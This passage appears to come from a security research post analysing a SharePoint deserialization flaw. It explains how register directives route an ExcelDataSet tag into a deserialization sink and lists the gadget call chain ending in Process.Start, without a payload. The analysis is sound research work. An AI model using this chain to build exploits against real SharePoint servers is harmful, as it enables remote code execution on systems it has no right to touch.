The UI register directive gives a SafeControls-approved wrapper. The Scorecard register directive maps the Scorecard:ExcelDataSet tag to the PerformancePoint assembly and namespace. Once the parser reaches the nested ExcelDataSet, the two attributes trigger the sink.

The complete chain is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RenderWebPartForEdit
   -> ToolPane.GetPartPreviewAndPropertiesFromMarkup
   -> ServerElement.Initialize
   -> DocumentDesigner.CreateElementDesigner
   -> UpdateProgress.CreateChildControls
   -> ControlBuilder.SetSimpleProperty
   -> PropertyMapper / FastPropertyAccessor.GetProperty("DataTable")
   -> ExcelDataSet.get_DataTable
   -> Helper.GetObjectFromCompressedBase64String
   -> BinarySerialization.Deserialize
   -> DataSetSurrogateSelector.SetObjectData
   -> DataSet.ReadXmlDiffgram
   -> ObjectStorage.ConvertXmlToObject
   -> ObjectDataProvider.InvokeMethodOnInstance
   -> LosFormatter.Deserialize
   -> SortedSet.OnDeserialization
   -> Process.Start
This post is licensed under CC BY 4.0 by the author.